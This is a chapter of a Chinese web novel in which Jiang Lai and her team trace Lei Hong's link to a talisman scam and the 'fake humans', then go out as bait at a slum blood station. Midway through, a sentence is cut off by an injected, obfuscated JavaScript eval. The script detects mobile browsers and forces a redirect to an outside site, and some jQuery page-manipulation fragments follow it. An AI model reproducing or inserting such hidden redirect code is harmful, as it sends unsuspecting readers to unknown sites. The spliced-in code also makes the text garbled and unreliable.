江莱赶到据点时,据点内的五人神情都异常严肃。
“宫廷玉液酒。”
“四十换八十。”
“没错,是江莱。”傅从闻柔声道。
这是他们之前约定好的暗号,这样即使有寄生虫潜伏进他们的队伍里面,也可以在第一时间把伪人揪出来。尽管傅从闻自认一眼就能看出来,来的是真正的江莱,但是该走的流程还是得走。
“雷红当着我们的面,一枪崩了周强。”确定江莱身份之后,席文静又重复了一遍之前已经告知傅从闻的消息,她的脸色非常难看,说完连插科打诨的兴致都没有了。
原来,他们带着周强回到旅馆之后,将儿子周小明和妻子朱秀葬在了一起,随后周强放了一把火将旅馆烧了。当时,席文静还有些不解,这地方怎么说也是一家三口的回忆,怎么说烧就烧了。
现在她倒是想明白了。周强比他们还要了解第九区的规矩,他知道,自己被交给雷红之后,就没有命活了,烧了旅馆,也算是一家三口葬在了一起。
说到这个,连吕一帆也叹了口气:“虽然说,周强这人杀了人,确实可恨,杀人就该偿命。但是你们是不在现场,雷红听闻之后,二话不说,直接爆头,吓得我半晌都没敢呼吸。”
江莱:“然后呢?”
刘凌薇补充:“最后还是席队求情,说人死债消。我们便将周强的尸首带回来,让他们一家三口葬在了一起。”
“???”江莱不由皱了皱眉,解释道,“我不是问这个。”
在她看来,杀人偿命,周强是罪有应得。雷红作为第九区的三/大势力之一,如果不杀周强,如何服众?不过,想到之前听到丹尼尔所说,江莱有些怀疑,雷红急着处决周强,真的只是杀鸡儆猴吗?还是说,她在隐瞒什么。
“啊!”吕一帆愣了一下,干笑两声,“嘿嘿,要不说江莱你不是领导,胜似领导呢!我就没你这魄力。我们十三区惩治犯人,都还得收集一番证据,然后再量罪定刑呢。看到雷红的操作,我一时没反应过来。我没有替周强喊冤的意思。”
傅从闻皱了皱眉,看向江莱的眼光里晦暗不明,不知道在想什么。他拍了拍吕一帆的胳膊,说道:“这小子和席队都是直肠子,重感情,但是有时候,确实不太擅长揣摩那些弯弯绕绕的心思。你别跟他们介意,跟他们讲话得直接一些,不然他们不一定能理解你要问什么。你刚才跟踪那个女人是不是发现了什么?”
“喂喂喂,傅队,公报私仇是吧!你这不摆明了说我和吕一帆蠢吗?”
江莱皱眉,没有理会他们的插科打诨,傅从闻说得对,有些事情只有她看到了,她不说得明白点,别人怎么会知道她要问的是哪个点?
她点点头,算是对傅从闻最后的问题表示确认:“我找到丹尼尔了。”
“他在哪里?你没有抓他回来?”
江莱摇摇头:“我偷听到,他说那个卖符的老人是雷红的手下伪装而成,第九区人口失踪案也与雷红有关。想到你们三个人去找雷红,担心你们出事,所以急着赶过来了。”
“你说什么?雷红竟然是操纵伪人的幕后之人?”这个推论带来的冲击力,比雷红二话不说当场爆头要大得多。
“不一定。丹尼尔那人见人说人话,见鬼说鬼话,他满嘴跑火车,不一定可信。”
雷红制造伪人,对她有什么好处?
“不过那个卖符老人是雷红的人,这点估计做不得假。”
除此之外,江莱还注意到了一点,丹尼尔十分肯定“觉醒符”是骗局,却笃定自己能成为能力者,结合他之前从雷红手上偷了东西,让雷红全城搜捕,还有在来第九区之前,傅从闻推测人类觉醒成为能力者可能与黯珀有关……
江莱合理推测,丹尼尔·罗从雷红手上偷走的东西,很可能就是黯珀。
雷红还不知道,或者说她不在意,丹尼尔已经知晓卖符骗局,她在意的是丹尼尔偷了她的东西。但是她又不能声明丹尼尔偷了她什么东西,否则丹尼尔死在外面了,她丢失的东西就永远回不到她手上了。
**
第二天,第一缕阳光透过门缝洒进棚屋的时候,江莱便醒了。准确的来说,她本来就没睡死。半脑睡眠,简直是个开挂的技能,只要她不透支能力的使用,不陷入昏睡,就可以一直通过短时间的睡眠恢复精力。
这一点,她没有对傅从闻隐瞒。傅从闻一如既往地没有多问,只说,可能是因为她有兽化的能力,所以比寻常人类更适合野外生存。但两人心里清楚,就算是真的雪豹,也不具备半脑睡眠这种能力。
江莱再次睁开眼时,外面传来一股似有若无的铁锈腥味,像鲜血的味道。等她再凝神仔细嗅闻时,却又消失得一干二净,仿佛刚才的一切只是她的错觉。
她腾地一下从地上坐起,环顾四周,这才发现傅从闻已经不在屋里了。
狭小的棚屋角落里摆好了洗漱包和过滤后的纯净水,门外传来节奏分明的响动,硬物规律的敲击声,像哄人入睡的白噪音。如果不是任务在身,倒是有几分悠闲度假的风味。
江莱把自己和布布收拾干净,推开门,傅从闻在离棚屋不远的地方“叮叮当当”着修补几个废弃衣柜和板凳,棚屋里听到的敲击声正是来源于此。他挽着袖子,露出肌肉虬结的小臂,额间渗出几滴汗珠,俨然就是一个靠手艺养家糊口的木匠。
只不过即使穿得普通,又特意敛去了周身气势,但是英俊的五官却做不得假。即使是靠手艺养家糊口的清廉木匠,也依然帅气逼人。
江莱愣了愣神,还是傅从闻发现了她,头也不抬,声音也不高,带着点晨起的微弱喑哑:“起来了?”
“嗯。”江莱应了声,平淡又自然。
两人像寻常夫妻一般正常交流着,趁着傅从闻干活的间隙,她决定带着布布在附近闲逛。布布像所有这个年纪的孩子一样,对周遭的一切都表现出了旺盛的好奇心,东摸/摸,西看看。实则暗地里依照江莱的吩咐将附近的格局都牢牢记在脑海里。
相信要不了多久,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097800|176119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就可以把这片贫民窟的布局完整画下来了。
这一点,也是昨天晚上众人商议计划的时候,才突然想到的。
昨晚,几人在据点汇合共享消息之后,依然选择分为两队行事。起初布布只是坐在旁边百无聊赖地叠星星,直到听到江莱在给席文静等人描述陈君的长相,他突然上前展开一张废纸,三下五除二就画出了陈君的画像交给江莱。
江莱低头一看,手上的画像堪比照片,赫然是陈君在卖血站时的装扮,忍不住揉了揉布布的小卷毛,夸他真是不可多得的好帮手。得了表扬的布布,很满意,叠纸星星都更带劲了,得了陈君画像的江莱也十分满意,这样一来,就不用担心认错人了。
这边,由席文静和刘凌薇负责出面在黑市附近晃悠,打着十三区商队的名义,骗取陈君和丹尼尔的信任。吕一帆之前见过丹尼尔,不方便出面就隐在暗处策应,确保丹尼尔无法逃脱。
而另一边。
根据江莱得到的消息,卖符老人,一不老,二不瞎,必然已经记住了席文静和刘凌薇的长相。如果她们二人出现,只会打草惊蛇。到时候卖符老人拖去伪装隐入第九区群众里,就更难找到他了。
所以,众人最后商议决定,由江莱傅从闻继续扮演好望子成龙的昏头父母,以身做饵,才有可能将狡猾的卖符老人钓出来。
等到傅从闻将手头那些活处理完了,一家三口,按照原定的计划再次朝着血站方向走去。
血站门口,医护人员还没到,等着卖血的人站得稀稀拉拉的。乍一眼看过去算不上多,但是仔细数来也没有比昨晚少多少。
时间一点点流逝,日头渐渐高了,厚重的云层渐渐散开,露出天空的底色。鲜艳美丽的湛蓝色,厚实Q弹如棉花糖一般的白云,美得不可方物。
美得令人心惊。
人群里窃窃私语的声音也渐渐大了起来,越说越压制不住的恐慌开始慢慢扩散。
“啧,怎么蓝天又出现了,现在是几月了?”
“天老爷都乱了套了,早就不分春夏秋冬,还管它几月?总之这蓝天一冒头,又要遭罪咯!”
“就是不知道这次是毒太阳,还是冻刀子!”
“嗐,我们那头有个在垃圾堆里开荒的大婶,家里人都已经死了,现在就她一个人在这贫民窟里熬着,你们有印象没?”
“这里开荒种地的人很少,我有点印象,她怎么了,还在种她那破洋芋啊?”
“可不是嘛!早两年我就劝过她,那么点歪瓜裂枣,趁早吃进肚子里拉倒。她非是不听,还说我多管闲事。现在看到这天气,她忙死忙活新中的洋芋又活不成咯,不知道现在是不是在家里偷摸着抹眼泪哩。早知如此,那些洋芋还不如进我肚子里,也不算白白浪费了。”
“哭?当年她屋里头老汉死了都没见着哭,这人有没有眼泪都不知道。她脾气古怪得很,你还是少招惹她的好。”
眼见着,话题越来越偏,人群外围突然响起一个微弱的呼声:“半仙?!半仙来了!”